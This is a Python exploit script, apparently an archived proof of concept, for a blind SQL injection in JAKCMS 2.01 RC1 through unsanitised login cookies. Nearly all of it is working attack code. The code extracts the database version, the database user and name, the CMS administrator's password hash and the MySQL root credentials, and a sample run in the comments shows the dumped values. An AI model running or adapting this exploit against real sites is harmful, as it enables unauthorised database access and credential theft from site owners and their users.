JAKCMS 2.01 RC1 – Blind SQL Injection
#!/usr/bin/python # # jakCMS <= v2.01 RC1 Blind SQL Injection Exploit # # Understanding: # The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application # and are unchecked for malicious characters. The contents of these variables are directly inserted into an # SQL statement, leading to SQL Injection vulnerabilities. # # Notes: # 1. PoC written to only work with the latest version. However, vuln exists in all versions. # 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''. # # [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/ # # | ----------------------------------------- | # | JAKcms Remote Blind SQL Injection Explo!t | # | by mr_me - net-ninja.net ---------------- | # # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using 'upload/admin' value for the true page # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.9 # (!) Getting database user: root@localhost # (!) Getting database name: jak # (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b # (!) w00t! You have access to MySQL database! # (+) Dumping hashs hold onto your knickers.. # (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413 # (+) PoC finished. import sys import urllib import re import urllib2 from optparse import OptionParser usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="dirPath", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| ----------------------------------------- |" print "\t| JAKcms Remote Blind SQL Injection Explo!t |" print "\t| by mr_me - net-ninja.net ---------------- |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) # set the stage........ trueStr = "upload/admin" page = "index.php" basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'} lower_value = 0 upper_value = 126 # test before we hit our target def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) # handles all requests to the target server def getServerResponse(exploit, header=None, data=None): try: headers = {} headers['Cookie'] = header req = urllib2.Request(exploit, data, headers) if options.proxy: req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check # modified version of rsauron's function # thanks bro. def getAsciiValue(URI, data): lower = lower_value upper = upper_value while lower < upper: try: mid = (lower + upper) / 2 header = data + ">"+str(mid)+"--+;" result = getServerResponse(URI, header) match = re.findall(trueStr,result) if len(match) >= 1: lower = mid + 1 else: upper = mid except (KeyboardInterrupt, SystemExit): raise except: pass if lower > lower_value and lower < upper_value: value = lower else: header = data + "="+str(lower) +"-- ;" result = getServerResponse(URI, header) match = re.findall(trueStr,result) if len(match) > 1: value = lower else: print "\n(-) READ xprog's blind sql tutorial!\n" sys.exit(1) return value # Do our blind attacks def doBlindSqli(): data = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin" request = ("http://"+options.target+options.dirPath + page) print "(+) Using '%s' value for the true page" % (trueStr) print "(+) This will take time, go grab a coffee.." for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() # it will never go through all 50 iterations. \0/ lazy. for i in range(1,50): getBasicInfo = (data+"\"))+and+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i))) asciival = getAsciiValue(request, getBasicInfo) if asciival >= 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break # get JAKCMS admin account data sys.stdout.write("\n(!) Getting JakCMS administrative account: ") sys.stdout.flush() for i in range(1,100): getUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+" "user+limit+0,1),%s,1))" % str(i)) asciival = getAsciiValue(request, getUserAndPass) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: pass # if we are lucky, get the mysql user/pass isMysqlUser = (data+"\"))+and+(select+1+from+mysql.user+limit+0,1)=1--+") result = getServerResponse(request, isMysqlUser) match = re.findall(trueStr,result) if len(match) >= 1: print "\n(!) w00t! You have access to MySQL database!" print "(+) Dumping hashs hold onto your knickers.." sys.stdout.write("(+) The username and hashed password is: ") sys.stdout.flush() for k in range(1,100): getMysqlUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(user,0x3a,password)+from+" "mysql.user+limit+0,1),%s,1))" % str(k)) asciival = getAsciiValue(request, getMysqlUserAndPass) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break sys.stdout.write("\n(+) PoC finished.\n") sys.stdout.flush() else: print "\n(-) You do not have access to MySQL database" def main(): banner() if options.proxy: testProxy() doBlindSqli() if __name__ == "__main__": main() |